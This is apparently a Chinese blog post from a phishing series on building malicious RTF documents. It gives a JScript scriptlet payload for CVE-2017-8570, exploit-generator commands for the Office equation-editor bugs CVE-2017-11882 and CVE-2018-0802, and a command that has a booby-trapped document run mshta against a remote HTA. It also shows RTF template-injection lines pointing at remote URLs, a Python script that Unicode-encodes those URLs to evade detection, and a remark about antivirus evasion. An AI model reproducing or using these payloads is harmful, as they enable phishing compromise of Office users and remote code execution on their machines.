【钓鱼从入门到放弃】-RTF文档

RTF 文档利用

0x01 介绍

  • RTF是富文本格式Rich Text Format),又称多文本格式,是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。

感觉都是通过Office漏洞来进行相关利用。。

0x02 利用

CVE-2017-8570

详细漏洞分析参考:CVE-2017-8570首次公开的野外样本及漏洞分析

测试Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?XML version="1.0"?>
<scriptlet>

<registration
description="fjzmpcjvqp"
progid="fjzmpcjvqp"
version="1.00"
classid="{204774CF-D251-4F02-855B-2BE70585184B}"
remotable="true"
>
</registration>

<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");


]]>
</script>

</scriptlet>

直接python生成poc即可。POC:https://github.com/rxwx/CVE-2017-8570

反弹shell方式可以在sct文件中加载hta、powershell命令等方式上线。

1
python2 packager_composite_moniker.py -s test.sct -o test4.rtf

CVE-2017-11882 & CVE-2018-0802

因为这两个都是公式编辑器漏洞所以就放在一起了。

CVE-2017-11882

详细漏洞分析可看【漏洞分析】CVE-2017-11882漏洞分析、利用及动态检测。该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出。该漏洞在当时通杀所有office版本。。

POC:https://github.com/Ridter/CVE-2017-11882

1
python2 Command109b_CVE-2017-11882.py -c 'mshta http://172.16.1.181:8080/CLC3TT3WrvdG.hta' -o mshta.doc #也可直接生成rtf

43b命令长度不能超过43 bytes,109b命令长度不能超过109 bytes

POC&Exploit:

https://github.com/Ridter/CVE-2017-11882

https://github.com/unamer/CVE-2017-11882/

https://github.com/Ridter/RTF_11882_0802

CVE-2018-0802

漏洞同样是发生在EQNEDT32.EXE进程,但是区别在于是拷贝字体FaceName时的栈溢出。详细分析: [原创]Office 0day(CVE-2018-0802与2017-11882)漏洞分析与利用

POC:

https://github.com/rxwx/CVE-2018-0802

rtfobj分析

公式编辑器漏洞可直接被分析出特征

https://images.atsud0.me/images/post/20220124-17:30:28-_E5jMUa_UdQwtI_E5jMUa_1643016628647_E5jMUa_UdQwtI.png

模版注入

模版注入算是比较新的攻击技术了,在2021年第一季度时被APT组织Donot利用。这里简单记录下制作模版注入RTF文件的方式。

新建一个RTF文档,随便输入点内容,然后用任意文本编辑器打开RTF文件。插入

1
{\*\template htxp://127.0.0.1/teste}

https://images.atsud0.me/images/post/20220121-12:14:34-_0rEU74_GWFGGM_0rEU74_1642738474424_0rEU74_GWFGGM.png

重新用word文档打开RTF文件。服务端收到请求

https://images.atsud0.me/images/post/20220121-12:21:10-_dbFXcl_dPVtYY_dbFXcl_1642738870290_dbFXcl_dPVtYY.png

能够成功加载远程文档。

Unicode编码的模版注入

将开头的uc或uc2改成uc1

https://images.atsud0.me/images/post/20220121-13:03:13-_O4Dhtp_fXrvMu_O4Dhtp_1642741393714_O4Dhtp_fXrvMu.png

使用编码转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys

def trans(url):
return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])

def help():
print("Usage: python3 rtf-unicode.py http://127.0.0.1/file")

def main():
if len(sys.argv) != 2:
help()
exit(1)
else:
print('{\*\\template',trans(sys.argv[1])+"}")

if __name__ == '__main__':
main()

使用生成的字段和普通的模版注入一样插入到rtf文档里面就行了。

1
2
{\*\template \u-65432?\u-65420?\u-65420?\u-65424?\u-65478?\u-65489?\u-65489?\u-65487?\u-65481?\u-65486?\u-65490?\u-65487?\u-65482?\u-65490?\u-65487?\u-65490?\u-65482?\u-65486?\u-65489?\u-65438?\u-65490?\u-65436?\u-65425?\u-65437?\u-65427?}

使用RTF模版注入结合CVE-2017-11882

按照上诉方法制作RTF文档和包含漏洞的DOC文档,然后其实就是改个文本而已。但是需要在漏洞利用的恶意文档中做免杀。

https://images.atsud0.me/images/post/20220121-15:27:01-_3BKHDD_images-blog_2022-01-21_3BKHDD_1642750021311_3BKHDD_images-blog_2022-01-21.gif

https://images.atsud0.me/images/post/20220124-16:28:30-_8OeQDF_d0isQm_8OeQDF_1643012910502_8OeQDF_d0isQm.png

0x03 参考文章